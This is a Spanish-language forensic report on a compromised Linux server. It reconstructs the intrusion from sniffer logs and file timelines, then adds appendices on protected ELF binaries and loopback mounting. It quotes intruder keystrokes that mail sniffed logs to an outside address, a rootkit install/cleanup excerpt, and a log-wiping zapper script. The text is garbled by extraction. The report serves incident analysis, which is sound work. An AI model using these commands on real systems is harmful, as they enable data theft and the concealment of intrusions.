Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

